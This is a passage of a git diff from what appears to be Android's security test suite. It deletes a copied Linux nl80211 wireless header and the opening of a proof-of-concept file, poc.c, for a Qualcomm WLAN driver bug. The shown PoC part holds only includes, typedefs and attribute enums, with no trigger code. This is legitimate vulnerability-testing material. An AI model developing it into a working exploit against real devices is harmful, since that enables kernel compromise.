- *
- * @NL80211_IFACE_COMB_UNSPEC: (reserved)
- * @NL80211_IFACE_COMB_LIMITS: Nested attributes containing the limits
- *	for given interface types, see &enum nl80211_iface_limit_attrs.
- * @NL80211_IFACE_COMB_MAXNUM: u32 attribute giving the total number of
- *	interfaces that can be created in this group. This number doesn't
- *	apply to interfaces purely managed in software, which are listed
- *	in a separate attribute %NL80211_ATTR_INTERFACES_SOFTWARE.
- * @NL80211_IFACE_COMB_STA_AP_BI_MATCH: flag attribute specifying that
- *	beacon intervals within this group must be all the same even for
- *	infrastructure and AP/GO combinations, i.e. the GO(s) must adopt
- *	the infrastructure network's beacon interval.
- * @NL80211_IFACE_COMB_NUM_CHANNELS: u32 attribute specifying how many
- *	different channels may be used within this group.
- * @NL80211_IFACE_COMB_RADAR_DETECT_WIDTHS: u32 attribute containing the bitmap
- *	of supported channel widths for radar detection.
- * @NL80211_IFACE_COMB_RADAR_DETECT_REGIONS: u32 attribute containing the bitmap
- *	of supported regulatory regions for radar detection.
- * @NUM_NL80211_IFACE_COMB: number of attributes
- * @MAX_NL80211_IFACE_COMB: highest attribute number
- *
- * Examples:
- *	limits = [ #{STA} <= 1, #{AP} <= 1 ], matching BI, channels = 1, max = 2
- *	=> allows an AP and a STA that must match BIs
- *
- *	numbers = [ #{AP, P2P-GO} <= 8 ], channels = 1, max = 8
- *	=> allows 8 of AP/GO
- *
- *	numbers = [ #{STA} <= 2 ], channels = 2, max = 2
- *	=> allows two STAs on different channels
- *
- *	numbers = [ #{STA} <= 1, #{P2P-client,P2P-GO} <= 3 ], max = 4
- *	=> allows a STA plus three P2P interfaces
- *
- * The list of these four possiblities could completely be contained
- * within the %NL80211_ATTR_INTERFACE_COMBINATIONS attribute to indicate
- * that any of these groups must match.
- *
- * "Combinations" of just a single interface will not be listed here,
- * a single interface of any valid interface type is assumed to always
- * be possible by itself. This means that implicitly, for each valid
- * interface type, the following group always exists:
- *	numbers = [ #{<type>} <= 1 ], channels = 1, max = 1
- */
-enum nl80211_if_combination_attrs {
-  NL80211_IFACE_COMB_UNSPEC,
-  NL80211_IFACE_COMB_LIMITS,
-  NL80211_IFACE_COMB_MAXNUM,
-  NL80211_IFACE_COMB_STA_AP_BI_MATCH,
-  NL80211_IFACE_COMB_NUM_CHANNELS,
-  NL80211_IFACE_COMB_RADAR_DETECT_WIDTHS,
-  NL80211_IFACE_COMB_RADAR_DETECT_REGIONS,
-
-  /* keep last */
-  NUM_NL80211_IFACE_COMB,
-  MAX_NL80211_IFACE_COMB = NUM_NL80211_IFACE_COMB - 1
-};
-
-/**
- * enum nl80211_plink_state - state of a mesh peer link finite state machine
- *
- * @NL80211_PLINK_LISTEN: initial state, considered the implicit
- *	state of non existant mesh peer links
- * @NL80211_PLINK_OPN_SNT: mesh plink open frame has been sent to
- *	this mesh peer
- * @NL80211_PLINK_OPN_RCVD: mesh plink open frame has been received
- *	from this mesh peer
- * @NL80211_PLINK_CNF_RCVD: mesh plink confirm frame has been
- *	received from this mesh peer
- * @NL80211_PLINK_ESTAB: mesh peer link is established
- * @NL80211_PLINK_HOLDING: mesh peer link is being closed or cancelled
- * @NL80211_PLINK_BLOCKED: all frames transmitted from this mesh
- *	plink are discarded
- * @NUM_NL80211_PLINK_STATES: number of peer link states
- * @MAX_NL80211_PLINK_STATES: highest numerical value of plink states
- */
-enum nl80211_plink_state {
-  NL80211_PLINK_LISTEN,
-  NL80211_PLINK_OPN_SNT,
-  NL80211_PLINK_OPN_RCVD,
-  NL80211_PLINK_CNF_RCVD,
-  NL80211_PLINK_ESTAB,
-  NL80211_PLINK_HOLDING,
-  NL80211_PLINK_BLOCKED,
-
-  /* keep last */
-  NUM_NL80211_PLINK_STATES,
-  MAX_NL80211_PLINK_STATES = NUM_NL80211_PLINK_STATES - 1
-};
-
-/**
- * enum nl80211_plink_action - actions to perform in mesh peers
- *
- * @NL80211_PLINK_ACTION_NO_ACTION: perform no action
- * @NL80211_PLINK_ACTION_OPEN: start mesh peer link establishment
- * @NL80211_PLINK_ACTION_BLOCK: block traffic from this mesh peer
- * @NUM_NL80211_PLINK_ACTIONS: number of possible actions
- */
-enum plink_actions {
-  NL80211_PLINK_ACTION_NO_ACTION,
-  NL80211_PLINK_ACTION_OPEN,
-  NL80211_PLINK_ACTION_BLOCK,
-
-  NUM_NL80211_PLINK_ACTIONS,
-};
-
-#define NL80211_KCK_LEN 16
-#define NL80211_KEK_LEN 16
-#define NL80211_REPLAY_CTR_LEN 8
-
-/**
- * enum nl80211_rekey_data - attributes for GTK rekey offload
- * @__NL80211_REKEY_DATA_INVALID: invalid number for nested attributes
- * @NL80211_REKEY_DATA_KEK: key encryption key (binary)
- * @NL80211_REKEY_DATA_KCK: key confirmation key (binary)
- * @NL80211_REKEY_DATA_REPLAY_CTR: replay counter (binary)
- * @NUM_NL80211_REKEY_DATA: number of rekey attributes (internal)
- * @MAX_NL80211_REKEY_DATA: highest rekey attribute (internal)
- */
-enum nl80211_rekey_data {
-  __NL80211_REKEY_DATA_INVALID,
-  NL80211_REKEY_DATA_KEK,
-  NL80211_REKEY_DATA_KCK,
-  NL80211_REKEY_DATA_REPLAY_CTR,
-
-  /* keep last */
-  NUM_NL80211_REKEY_DATA,
-  MAX_NL80211_REKEY_DATA = NUM_NL80211_REKEY_DATA - 1
-};
-
-/**
- * enum nl80211_hidden_ssid - values for %NL80211_ATTR_HIDDEN_SSID
- * @NL80211_HIDDEN_SSID_NOT_IN_USE: do not hide SSID (i.e., broadcast it in
- *	Beacon frames)
- * @NL80211_HIDDEN_SSID_ZERO_LEN: hide SSID by using zero-length SSID element
- *	in Beacon frames
- * @NL80211_HIDDEN_SSID_ZERO_CONTENTS: hide SSID by using correct length of SSID
- *	element in Beacon frames but zero out each byte in the SSID
- */
-enum nl80211_hidden_ssid {
-  NL80211_HIDDEN_SSID_NOT_IN_USE,
-  NL80211_HIDDEN_SSID_ZERO_LEN,
-  NL80211_HIDDEN_SSID_ZERO_CONTENTS
-};
-
-/**
- * enum nl80211_sta_wme_attr - station WME attributes
- * @__NL80211_STA_WME_INVALID: invalid number for nested attribute
- * @NL80211_STA_WME_UAPSD_QUEUES: bitmap of uapsd queues. the format
- *	is the same as the AC bitmap in the QoS info field.
- * @NL80211_STA_WME_MAX_SP: max service period. the format is the same
- *	as the MAX_SP field in the QoS info field (but already shifted down).
- * @__NL80211_STA_WME_AFTER_LAST: internal
- * @NL80211_STA_WME_MAX: highest station WME attribute
- */
-enum nl80211_sta_wme_attr {
-  __NL80211_STA_WME_INVALID,
-  NL80211_STA_WME_UAPSD_QUEUES,
-  NL80211_STA_WME_MAX_SP,
-
-  /* keep last */
-  __NL80211_STA_WME_AFTER_LAST,
-  NL80211_STA_WME_MAX = __NL80211_STA_WME_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_pmksa_candidate_attr - attributes for PMKSA caching candidates
- * @__NL80211_PMKSA_CANDIDATE_INVALID: invalid number for nested attributes
- * @NL80211_PMKSA_CANDIDATE_INDEX: candidate index (u32; the smaller, the higher
- *	priority)
- * @NL80211_PMKSA_CANDIDATE_BSSID: candidate BSSID (6 octets)
- * @NL80211_PMKSA_CANDIDATE_PREAUTH: RSN pre-authentication supported (flag)
- * @NUM_NL80211_PMKSA_CANDIDATE: number of PMKSA caching candidate attributes
- *	(internal)
- * @MAX_NL80211_PMKSA_CANDIDATE: highest PMKSA caching candidate attribute
- *	(internal)
- */
-enum nl80211_pmksa_candidate_attr {
-  __NL80211_PMKSA_CANDIDATE_INVALID,
-  NL80211_PMKSA_CANDIDATE_INDEX,
-  NL80211_PMKSA_CANDIDATE_BSSID,
-  NL80211_PMKSA_CANDIDATE_PREAUTH,
-
-  /* keep last */
-  NUM_NL80211_PMKSA_CANDIDATE,
-  MAX_NL80211_PMKSA_CANDIDATE = NUM_NL80211_PMKSA_CANDIDATE - 1
-};
-
-/**
- * enum nl80211_tdls_operation - values for %NL80211_ATTR_TDLS_OPERATION
- * @NL80211_TDLS_DISCOVERY_REQ: Send a TDLS discovery request
- * @NL80211_TDLS_SETUP: Setup TDLS link
- * @NL80211_TDLS_TEARDOWN: Teardown a TDLS link which is already established
- * @NL80211_TDLS_ENABLE_LINK: Enable TDLS link
- * @NL80211_TDLS_DISABLE_LINK: Disable TDLS link
- */
-enum nl80211_tdls_operation {
-  NL80211_TDLS_DISCOVERY_REQ,
-  NL80211_TDLS_SETUP,
-  NL80211_TDLS_TEARDOWN,
-  NL80211_TDLS_ENABLE_LINK,
-  NL80211_TDLS_DISABLE_LINK,
-};
-
-/*
- * enum nl80211_ap_sme_features - device-integrated AP features
- * Reserved for future use, no bits are defined in
- * NL80211_ATTR_DEVICE_AP_SME yet.
-enum nl80211_ap_sme_features {
-};
- */
-
-/**
- * enum nl80211_feature_flags - device/driver features
- * @NL80211_FEATURE_SK_TX_STATUS: This driver supports reflecting back
- *	TX status to the socket error queue when requested with the
- *	socket option.
- * @NL80211_FEATURE_HT_IBSS: This driver supports IBSS with HT datarates.
- * @NL80211_FEATURE_INACTIVITY_TIMER: This driver takes care of freeing up
- *	the connected inactive stations in AP mode.
- * @NL80211_FEATURE_CELL_BASE_REG_HINTS: This driver has been tested
- *	to work properly to suppport receiving regulatory hints from
- *	cellular base stations.
- * @NL80211_FEATURE_P2P_DEVICE_NEEDS_CHANNEL: (no longer available, only
- *	here to reserve the value for API/ABI compatibility)
- * @NL80211_FEATURE_SAE: This driver supports simultaneous authentication of
- *	equals (SAE) with user space SME (NL80211_CMD_AUTHENTICATE) in station
- *	mode
- * @NL80211_FEATURE_LOW_PRIORITY_SCAN: This driver supports low priority scan
- * @NL80211_FEATURE_SCAN_FLUSH: Scan flush is supported
- * @NL80211_FEATURE_AP_SCAN: Support scanning using an AP vif
- * @NL80211_FEATURE_VIF_TXPOWER: The driver supports per-vif TX power setting
- * @NL80211_FEATURE_NEED_OBSS_SCAN: The driver expects userspace to perform
- *	OBSS scans and generate 20/40 BSS coex reports. This flag is used only
- *	for drivers implementing the CONNECT API, for AUTH/ASSOC it is implied.
- * @NL80211_FEATURE_P2P_GO_CTWIN: P2P GO implementation supports CT Window
- *	setting
- * @NL80211_FEATURE_P2P_GO_OPPPS: P2P GO implementation supports opportunistic
- *	powersave
- * @NL80211_FEATURE_FULL_AP_CLIENT_STATE: The driver supports full state
- *	transitions for AP clients. Without this flag (and if the driver
- *	doesn't have the AP SME in the device) the driver supports adding
- *	stations only when they're associated and adds them in associated
- *	state (to later be transitioned into authorized), with this flag
- *	they should be added before even sending the authentication reply
- *	and then transitioned into authenticated, associated and authorized
- *	states using station flags.
- *	Note that even for drivers that support this, the default is to add
- *	stations in authenticated/associated state, so to add unauthenticated
- *	stations the authenticated/associated bits have to be set in the mask.
- * @NL80211_FEATURE_ADVERTISE_CHAN_LIMITS: cfg80211 advertises channel limits
- *	(HT40, VHT 80/160 MHz) if this flag is set
- * @NL80211_FEATURE_USERSPACE_MPM: This driver supports a userspace Mesh
- *	Peering Management entity which may be implemented by registering for
- *	beacons or NL80211_CMD_NEW_PEER_CANDIDATE events. The mesh beacon is
- *	still generated by the driver.
- * @NL80211_FEATURE_ACTIVE_MONITOR: This driver supports an active monitor
- *	interface. An active monitor interface behaves like a normal monitor
- *	interface, but gets added to the driver. It ensures that incoming
- *	unicast packets directed at the configured interface address get ACKed.
- * @NL80211_FEATURE_AP_MODE_CHAN_WIDTH_CHANGE: This driver supports dynamic
- *	channel bandwidth change (e.g., HT 20 <-> 40 MHz channel) during the
- *	lifetime of a BSS.
- * @NL80211_FEATURE_DS_PARAM_SET_IE_IN_PROBES: This device adds a DS Parameter
- *	Set IE to probe requests.
- * @NL80211_FEATURE_WFA_TPC_IE_IN_PROBES: This device adds a WFA TPC Report IE
- *	to probe requests.
- * @NL80211_FEATURE_QUIET: This device, in client mode, supports Quiet Period
- *	requests sent to it by an AP.
- * @NL80211_FEATURE_TX_POWER_INSERTION: This device is capable of inserting the
- *	current tx power value into the TPC Report IE in the spectrum
- *	management TPC Report action frame, and in the Radio Measurement Link
- *	Measurement Report action frame.
- * @NL80211_FEATURE_ACKTO_ESTIMATION: This driver supports dynamic ACK timeout
- *	estimation (dynack). %NL80211_ATTR_WIPHY_DYN_ACK flag attribute is used
- *	to enable dynack.
- * @NL80211_FEATURE_STATIC_SMPS: Device supports static spatial
- *	multiplexing powersave, ie. can turn off all but one chain
- *	even on HT connections that should be using more chains.
- * @NL80211_FEATURE_DYNAMIC_SMPS: Device supports dynamic spatial
- *	multiplexing powersave, ie. can turn off all but one chain
- *	and then wake the rest up as required after, for example,
- *	rts/cts handshake.
- */
-enum nl80211_feature_flags {
-  NL80211_FEATURE_SK_TX_STATUS = 1 << 0,
-  NL80211_FEATURE_HT_IBSS = 1 << 1,
-  NL80211_FEATURE_INACTIVITY_TIMER = 1 << 2,
-  NL80211_FEATURE_CELL_BASE_REG_HINTS = 1 << 3,
-  NL80211_FEATURE_P2P_DEVICE_NEEDS_CHANNEL = 1 << 4,
-  NL80211_FEATURE_SAE = 1 << 5,
-  NL80211_FEATURE_LOW_PRIORITY_SCAN = 1 << 6,
-  NL80211_FEATURE_SCAN_FLUSH = 1 << 7,
-  NL80211_FEATURE_AP_SCAN = 1 << 8,
-  NL80211_FEATURE_VIF_TXPOWER = 1 << 9,
-  NL80211_FEATURE_NEED_OBSS_SCAN = 1 << 10,
-  NL80211_FEATURE_P2P_GO_CTWIN = 1 << 11,
-  NL80211_FEATURE_P2P_GO_OPPPS = 1 << 12,
-  /* bit 13 is reserved */
-  NL80211_FEATURE_ADVERTISE_CHAN_LIMITS = 1 << 14,
-  NL80211_FEATURE_FULL_AP_CLIENT_STATE = 1 << 15,
-  NL80211_FEATURE_USERSPACE_MPM = 1 << 16,
-  NL80211_FEATURE_ACTIVE_MONITOR = 1 << 17,
-  NL80211_FEATURE_AP_MODE_CHAN_WIDTH_CHANGE = 1 << 18,
-  NL80211_FEATURE_DS_PARAM_SET_IE_IN_PROBES = 1 << 19,
-  NL80211_FEATURE_WFA_TPC_IE_IN_PROBES = 1 << 20,
-  NL80211_FEATURE_QUIET = 1 << 21,
-  NL80211_FEATURE_TX_POWER_INSERTION = 1 << 22,
-  NL80211_FEATURE_ACKTO_ESTIMATION = 1 << 23,
-  NL80211_FEATURE_STATIC_SMPS = 1 << 24,
-  NL80211_FEATURE_DYNAMIC_SMPS = 1 << 25,
-};
-
-/**
- * enum nl80211_probe_resp_offload_support_attr - optional supported
- *	protocols for probe-response offloading by the driver/FW.
- *	To be used with the %NL80211_ATTR_PROBE_RESP_OFFLOAD attribute.
- *	Each enum value represents a bit in the bitmap of supported
- *	protocols. Typically a subset of probe-requests belonging to a
- *	supported protocol will be excluded from offload and uploaded
- *	to the host.
- *
- * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS: Support for WPS ver. 1
- * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS2: Support for WPS ver. 2
- * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_P2P: Support for P2P
- * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_80211U: Support for 802.11u
- */
-enum nl80211_probe_resp_offload_support_attr {
-  NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS = 1 << 0,
-  NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS2 = 1 << 1,
-  NL80211_PROBE_RESP_OFFLOAD_SUPPORT_P2P = 1 << 2,
-  NL80211_PROBE_RESP_OFFLOAD_SUPPORT_80211U = 1 << 3,
-};
-
-/**
- * enum nl80211_connect_failed_reason - connection request failed reasons
- * @NL80211_CONN_FAIL_MAX_CLIENTS: Maximum number of clients that can be
- *	handled by the AP is reached.
- * @NL80211_CONN_FAIL_BLOCKED_CLIENT: Connection request is rejected due to ACL.
- */
-enum nl80211_connect_failed_reason {
-  NL80211_CONN_FAIL_MAX_CLIENTS,
-  NL80211_CONN_FAIL_BLOCKED_CLIENT,
-};
-
-/**
- * enum nl80211_scan_flags -  scan request control flags
- *
- * Scan request control flags are used to control the handling
- * of NL80211_CMD_TRIGGER_SCAN and NL80211_CMD_START_SCHED_SCAN
- * requests.
- *
- * @NL80211_SCAN_FLAG_LOW_PRIORITY: scan request has low priority
- * @NL80211_SCAN_FLAG_FLUSH: flush cache before scanning
- * @NL80211_SCAN_FLAG_AP: force a scan even if the interface is configured
- *	as AP and the beaconing has already been configured. This attribute is
- *	dangerous because will destroy stations performance as a lot of frames
- *	will be lost while scanning off-channel, therefore it must be used only
- *	when really needed
- */
-enum nl80211_scan_flags {
-  NL80211_SCAN_FLAG_LOW_PRIORITY = 1 << 0,
-  NL80211_SCAN_FLAG_FLUSH = 1 << 1,
-  NL80211_SCAN_FLAG_AP = 1 << 2,
-};
-
-/**
- * enum nl80211_acl_policy - access control policy
- *
- * Access control policy is applied on a MAC list set by
- * %NL80211_CMD_START_AP and %NL80211_CMD_SET_MAC_ACL, to
- * be used with %NL80211_ATTR_ACL_POLICY.
- *
- * @NL80211_ACL_POLICY_ACCEPT_UNLESS_LISTED: Deny stations which are
- *	listed in ACL, i.e. allow all the stations which are not listed
- *	in ACL to authenticate.
- * @NL80211_ACL_POLICY_DENY_UNLESS_LISTED: Allow the stations which are listed
- *	in ACL, i.e. deny all the stations which are not listed in ACL.
- */
-enum nl80211_acl_policy {
-  NL80211_ACL_POLICY_ACCEPT_UNLESS_LISTED,
-  NL80211_ACL_POLICY_DENY_UNLESS_LISTED,
-};
-
-/**
- * enum nl80211_smps_mode - SMPS mode
- *
- * Requested SMPS mode (for AP mode)
- *
- * @NL80211_SMPS_OFF: SMPS off (use all antennas).
- * @NL80211_SMPS_STATIC: static SMPS (use a single antenna)
- * @NL80211_SMPS_DYNAMIC: dynamic smps (start with a single antenna and
- *	turn on other antennas after CTS/RTS).
- */
-enum nl80211_smps_mode {
-  NL80211_SMPS_OFF,
-  NL80211_SMPS_STATIC,
-  NL80211_SMPS_DYNAMIC,
-
-  __NL80211_SMPS_AFTER_LAST,
-  NL80211_SMPS_MAX = __NL80211_SMPS_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_radar_event - type of radar event for DFS operation
- *
- * Type of event to be used with NL80211_ATTR_RADAR_EVENT to inform userspace
- * about detected radars or success of the channel available check (CAC)
- *
- * @NL80211_RADAR_DETECTED: A radar pattern has been detected. The channel is
- *	now unusable.
- * @NL80211_RADAR_CAC_FINISHED: Channel Availability Check has been finished,
- *	the channel is now available.
- * @NL80211_RADAR_CAC_ABORTED: Channel Availability Check has been aborted, no
- *	change to the channel status.
- * @NL80211_RADAR_NOP_FINISHED: The Non-Occupancy Period for this channel is
- *	over, channel becomes usable.
- */
-enum nl80211_radar_event {
-  NL80211_RADAR_DETECTED,
-  NL80211_RADAR_CAC_FINISHED,
-  NL80211_RADAR_CAC_ABORTED,
-  NL80211_RADAR_NOP_FINISHED,
-};
-
-/**
- * enum nl80211_dfs_state - DFS states for channels
- *
- * Channel states used by the DFS code.
- *
- * @NL80211_DFS_USABLE: The channel can be used, but channel availability
- *	check (CAC) must be performed before using it for AP or IBSS.
- * @NL80211_DFS_UNAVAILABLE: A radar has been detected on this channel, it
- *	is therefore marked as not available.
- * @NL80211_DFS_AVAILABLE: The channel has been CAC checked and is available.
- */
-enum nl80211_dfs_state {
-  NL80211_DFS_USABLE,
-  NL80211_DFS_UNAVAILABLE,
-  NL80211_DFS_AVAILABLE,
-};
-
-/**
- * enum enum nl80211_protocol_features - nl80211 protocol features
- * @NL80211_PROTOCOL_FEATURE_SPLIT_WIPHY_DUMP: nl80211 supports splitting
- *	wiphy dumps (if requested by the application with the attribute
- *	%NL80211_ATTR_SPLIT_WIPHY_DUMP. Also supported is filtering the
- *	wiphy dump by %NL80211_ATTR_WIPHY, %NL80211_ATTR_IFINDEX or
- *	%NL80211_ATTR_WDEV.
- */
-enum nl80211_protocol_features {
-  NL80211_PROTOCOL_FEATURE_SPLIT_WIPHY_DUMP = 1 << 0,
-};
-
-/**
- * enum nl80211_crit_proto_id - nl80211 critical protocol identifiers
- *
- * @NL80211_CRIT_PROTO_UNSPEC: protocol unspecified.
- * @NL80211_CRIT_PROTO_DHCP: BOOTP or DHCPv6 protocol.
- * @NL80211_CRIT_PROTO_EAPOL: EAPOL protocol.
- * @NL80211_CRIT_PROTO_APIPA: APIPA protocol.
- * @NUM_NL80211_CRIT_PROTO: must be kept last.
- */
-enum nl80211_crit_proto_id {
-  NL80211_CRIT_PROTO_UNSPEC,
-  NL80211_CRIT_PROTO_DHCP,
-  NL80211_CRIT_PROTO_EAPOL,
-  NL80211_CRIT_PROTO_APIPA,
-  /* add other protocols before this one */
-  NUM_NL80211_CRIT_PROTO
-};
-
-/* maximum duration for critical protocol measures */
-#define NL80211_CRIT_PROTO_MAX_DURATION 5000 /* msec */
-
-/**
- * enum nl80211_rxmgmt_flags - flags for received management frame.
- *
- * Used by cfg80211_rx_mgmt()
- *
- * @NL80211_RXMGMT_FLAG_ANSWERED: frame was answered by device/driver.
- */
-enum nl80211_rxmgmt_flags {
-  NL80211_RXMGMT_FLAG_ANSWERED = 1 << 0,
-};
-
-/*
- * If this flag is unset, the lower 24 bits are an OUI, if set
- * a Linux nl80211 vendor ID is used (no such IDs are allocated
- * yet, so that's not valid so far)
- */
-#define NL80211_VENDOR_ID_IS_LINUX 0x80000000
-
-/**
- * struct nl80211_vendor_cmd_info - vendor command data
- * @vendor_id: If the %NL80211_VENDOR_ID_IS_LINUX flag is clear, then the
- *	value is a 24-bit OUI; if it is set then a separately allocated ID
- *	may be used, but no such IDs are allocated yet. New IDs should be
- *	added to this file when needed.
- * @subcmd: sub-command ID for the command
- */
-struct nl80211_vendor_cmd_info {
-  __u32 vendor_id;
-  __u32 subcmd;
-};
-
-/**
- * enum nl80211_tdls_peer_capability - TDLS peer flags.
- *
- * Used by tdls_mgmt() to determine which conditional elements need
- * to be added to TDLS Setup frames.
- *
- * @NL80211_TDLS_PEER_HT: TDLS peer is HT capable.
- * @NL80211_TDLS_PEER_VHT: TDLS peer is VHT capable.
- * @NL80211_TDLS_PEER_WMM: TDLS peer is WMM capable.
- */
-enum nl80211_tdls_peer_capability {
-  NL80211_TDLS_PEER_HT = 1 << 0,
-  NL80211_TDLS_PEER_VHT = 1 << 1,
-  NL80211_TDLS_PEER_WMM = 1 << 2,
-};
-
-#endif /* __LINUX_NL80211_H */
diff --git a/hostsidetests/security/securityPatch/Bug-36730104/poc.c b/hostsidetests/security/securityPatch/Bug-36730104/poc.c
deleted file mode 100644
index b4a4de3..0000000
--- a/hostsidetests/security/securityPatch/Bug-36730104/poc.c
+++ /dev/null
@@ -1,785 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <fcntl.h>
-#include <netinet/in.h>
-#include <sys/wait.h>
-#include <time.h>
-#include <unistd.h>
-
-#include <errno.h>
-#include <linux/genetlink.h>
-#include <linux/netlink.h>
-#include <linux/wireless.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/socket.h>
-#include <sys/types.h>
-#include "local_poc.h"
-
-typedef signed char s8;
-typedef unsigned char u8;
-
-typedef signed short s16;
-typedef unsigned short u16;
-
-typedef signed int s32;
-typedef unsigned int u32;
-
-typedef signed long long s64;
-typedef unsigned long long u64;
-
-typedef s8 __s8;
-typedef u8 __u8;
-typedef s16 __s16;
-typedef u16 __u16;
-typedef s32 __s32;
-typedef u32 __u32;
-typedef s64 __s64;
-typedef u64 __u64;
-
-#define PARAM_MAX QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX
-#define PARAM_REQUEST_ID \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID
-#define PARAMS_LOST_SSID_SAMPLE_SIZE \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_LOST_SSID_SAMPLE_SIZE
-#define PARAMS_NUM_SSID \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID
-#define THRESHOLD_PARAM QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM
-#define PARAM_SSID QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_SSID
-#define PARAM_BAND QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_BAND
-#define PARAM_RSSI_LOW \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_LOW
-#define PARAM_RSSI_HIGH \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_HIGH
-
-enum qca_wlan_vendor_attr_extscan_config_params {
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_INVALID = 0,
-
-  /* Unsigned 32-bit value; Middleware provides it to the driver. Middle ware
-   * either gets it from caller, e.g., framework, or generates one if
-   * framework doesn't provide it.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID,
-
-  /* NL attributes for data used by
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_VALID_CHANNELS sub command.
-   */
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_WIFI_BAND,
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_MAX_CHANNELS,
-
-  /* NL attributes for input params used by
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_START sub command.
-   */
-
-  /* Unsigned 32-bit value; channel frequency */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_CHANNEL,
-  /* Unsigned 32-bit value; dwell time in ms. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_DWELL_TIME,
-  /* Unsigned 8-bit value; 0: active; 1: passive; N/A for DFS */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_PASSIVE,
-  /* Unsigned 8-bit value; channel class */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_CLASS,
-
-  /* Unsigned 8-bit value; bucket index, 0 based */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_INDEX,
-  /* Unsigned 8-bit value; band. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BAND,
-  /* Unsigned 32-bit value; desired period, in ms. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_PERIOD,
-  /* Unsigned 8-bit value; report events semantics. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_REPORT_EVENTS,
-  /* Unsigned 32-bit value.
-   * Followed by a nested array of EXTSCAN_CHANNEL_SPEC_* attributes.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS,
-
-  /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_* attributes.
-   * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC,
-
-  /* Unsigned 32-bit value; base timer period in ms. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_BASE_PERIOD,
-  /* Unsigned 32-bit value; number of APs to store in each scan in the
-   * BSSID/RSSI history buffer (keep the highest RSSI APs).
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_MAX_AP_PER_SCAN,
-  /* Unsigned 8-bit value; in %, when scan buffer is this much full, wake up
-   * APPS.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_PERCENT,
-  /* Unsigned 8-bit value; number of scan bucket specs; followed by a nested
-   * array of_EXTSCAN_BUCKET_SPEC_* attributes and values. The size of the
-   * array is determined by NUM_BUCKETS.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS,
-
-  /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_* attributes.
-   * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC,
-
-  /* Unsigned 8-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_CACHED_SCAN_RESULTS_CONFIG_PARAM_FLUSH,
-  /* Unsigned 32-bit value; maximum number of results to be returned. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_CACHED_SCAN_RESULTS_CONFIG_PARAM_MAX,
-
-  /* An array of 6 x Unsigned 8-bit value */
